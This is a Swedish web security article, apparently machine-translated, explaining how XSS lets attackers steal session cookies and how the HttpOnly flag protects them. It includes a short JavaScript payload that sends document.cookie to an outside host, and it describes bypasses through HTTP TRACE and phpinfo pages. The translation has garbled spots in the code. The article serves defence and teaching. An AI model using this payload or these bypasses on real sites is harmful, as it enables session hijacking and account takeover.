Med framväxten av www-tjänster har fler och fler applikationer övergått till B/S-strukturer, så att en mängd webbtjänster kan nås med bara en webbläsare, men detta leder också i allt högre grad till fler och fler webbsäkerhetsproblem. www-tjänsten bygger på Http-protokollet, Http är ett tillståndslöst protokoll, så för att överföra information mellan sessioner är det oundvikligt att använda cookies eller sessioner och andra teknologier för att markera besökarens tillstånd, och oavsett om det är en cookie eller en session implementeras det vanligtvis med cookies (sessionen markeras faktiskt med en token i webbläsarens cookie, Servern får tag på denna token och kontrollerar legitimiteten och binder motsvarande tillstånd som lagras på servern till webbläsaren), så att den oundvikligen fokuserar på cookien säkert, så länge denna cookie erhålls kan identiteten på andra erhållas, vilket är fantastiskt för inkräktare, särskilt när den erhållna cookien tillhör en högprivilegierad person som en administratör, skadan är ännu större. Bland olika webbsäkerhetsproblem är XSS-sårbarheten särskilt farlig.
För applikationer innebär det att när det finns en XSS-sårbarhet kan andra köra godtyckliga JS-skript i din webbläsare, och om applikationen är öppen källkod eller funktionerna är offentliga kan andra använda Ajax för att använda dessa funktioner, men processen är ofta krånglig, särskilt om du vill få någon annans identitet direkt för casual surfing. För icke-öppen källkodsapplikationer, såsom webbbakgrunden på vissa stora sajter (en viktig egenskap i web2.0 är ett stort antal interaktioner, behöver användare ofta interagera med administratörerna i bakgrunden, såsom buggrapporter eller informationsleverans, etc.), även om det kan finnas sårbarheter för cross-site scripting på grund av interaktion, men på grund av bristande förståelse för bakgrunden är det omöjligt att konstruera perfekt ajax-kod att använda, även om du kan använda js för att hämta bakgrundskoden och returnera den för analys, men processen är också krånglig och inte dold. Vid denna tidpunkt är det mycket effektivt att använda xss-sårbarheten för att få tag på cookies eller kapa sessioner, specifikt analysera applikationens autentisering och sedan använda vissa tekniker, och till och med permanent få identiteten på den andra parten även om den andra parten lämnar programmet.
Så hur får man kakor eller sessionskapning? I dokumentobjektet i webbläsaren lagras cookieinformationen, och cookien kan hämtas med hjälp av js, så länge du får denna cookie kan du ha någon annans identitet. Ett typiskt XSS-attackuttalande är följande:
- xss exp:
- url=document.top.locatio去掉n.href;
- cookie=document.cookie;
- c=new Image();
- c.src=’<a target="_blank">http://www.xxx.net/c.php?c=</a>’+cookie+’&u=’+url;
Vissa applikationer kan använda webbläsarbindningstekniker för att lösa detta problem, såsom att binda cookies till webbläsarens användaragent, och betrakta cookien som ogiltig när den upptäcks. Denna metod har visat sig vara ineffektiv, eftersom när inkräktaren stjäl cookien måste han ha fått tag på User-agenten samtidigt. Det finns också en annan strikt kod som binder cookies till Remote-addr (faktiskt är den bunden till IP, men vissa program har problem med metoden att få IP, vilket också leder till sparing), men detta ger en mycket dålig användarupplevelse, att byta IP är vanligt, till exempel är arbete och hem två IP-adresser, så denna metod används ofta inte. Därför är cookiebaserade attacker mycket populära nu, och det är enkelt att få administratörsstatus för applikationen på vissa web 2.0-sajter.
Hur håller vi våra känsliga cookies säkra? Genom ovanstående analys erhålls allmänna cookies från dokumentobjekt, och vi behöver bara göra känsliga cookies osynliga i webbläsardokumentet. Lyckligtvis accepterar webbläsare numera generellt en parameter som heter HttpOnly när de sätter cookies, precis som andra parametrar som domän, när denna HttpOnly väl är inställd kommer du inte att se cookien i webbläsarens dokumentobjekt, och webbläsaren påverkas inte på något sätt när du surfar, eftersom cookien skickas i webbläsarens header (inklusive ajax). Applikationer använder generellt inte dessa känsliga cookies i js, vi använder HttpOnly för vissa känsliga cookies, och vi sätter inte vissa cookies som måste hanteras med js i applikationen, vilket säkerställer säkerheten för cookieinformationen och applikationen. För mer information om HttpOnly, se http://msdn2.microsoft.com/en-us/library/ms533046.aspx.
Rubriken för att ställa in cookies i din webbläsare är följande:
- Set-Cookie: =[; =]
- [; expires=][; domain=]
- [; path=][; secure][; HttpOnly]
Med php som exempel har stöd för HttpOnly lagts till Setcookie-funktionen i php 5.2, till exempel:
setcookie("abc","test",NULL,NULL,NULL,NULL,NULL,NULL,SANN);
Du kan ställa in abc-cookien till Endast Http, och dokumentet kommer inte att vara synligt för denna cookie. Eftersom setcookie-funktionen i princip är en header kan du också använda headern för att ställa in HttpOnly. Använd sedan document.cookie för att se att denna cookie inte längre är tillgänglig. Vi använder denna metod för att skydda Sessionid, till exempel vissa autentiseringskakor för autentisering, så att vi slipper oroa oss för att identiteten ska erhållas, vilket är av stor betydelse för vissa bakgrundsprogram och webbmail för att förbättra säkerheten. När vi använder ovanstående attackmetod igen kan vi se att vi inte längre kan få tillgång till känsliga cookies som vi satt som endast Http.
Det kan dock också ses att HttpOnly inte är allsmäktigt, för det första kan det inte lösa problemet med xss, det kan fortfarande inte motstå vissa tålmodiga hackares attacker, och det kan inte heller förhindra inkräktare från att göra ajax-submissions, och till och med några xss-baserade proxyer har dykt upp, men det har varit möjligt att höja tröskeln för attacker, åtminstone genomförs inte xss-attacker av alla script kid, och andra attackmetoder beror på vissa miljömässiga och tekniska begränsningar. Det är inte lika vanligt som att stjäla kakor.
HttpOnly kan också utnyttja vissa sårbarheter eller konfigurera Bypass, det största problemet är att så länge du kan få cookieheadern skickad av webbläsaren. Till exempel kan den tidigare Http Trace-attacken returnera cookien i din header, och denna attack kan genomföras genom att använda ajax eller flash, vilket också har patchats i ajax och flash. Ett annat anmärkningsvärt exempel på möjlig kringgåelse av konfiguration eller applikation är phpinfo, som du vet visar phpinfo http-headern som skickas av webbläsaren, inklusive autentiseringsinformationen vi skyddar, och denna sida finns ofta på olika webbplatser, så länge du använder ajax för att få phpinfo-sidan, ta bort delen som motsvarar headerheadern för att hämta cookien. Ofullkomligheter i vissa applikationer kan också leda till headerläckage, vilket kan attackeras lika mycket som en sida skyddad av grundläggande verifiering.
HttpOnly stöds bättre i IE 6 och nyare, används flitigt i applikationer som Hotmail, och har uppnått relativt goda säkerhetsresultat.
|
Publicerad på 2015-06-03 20:57:48
|
|
|
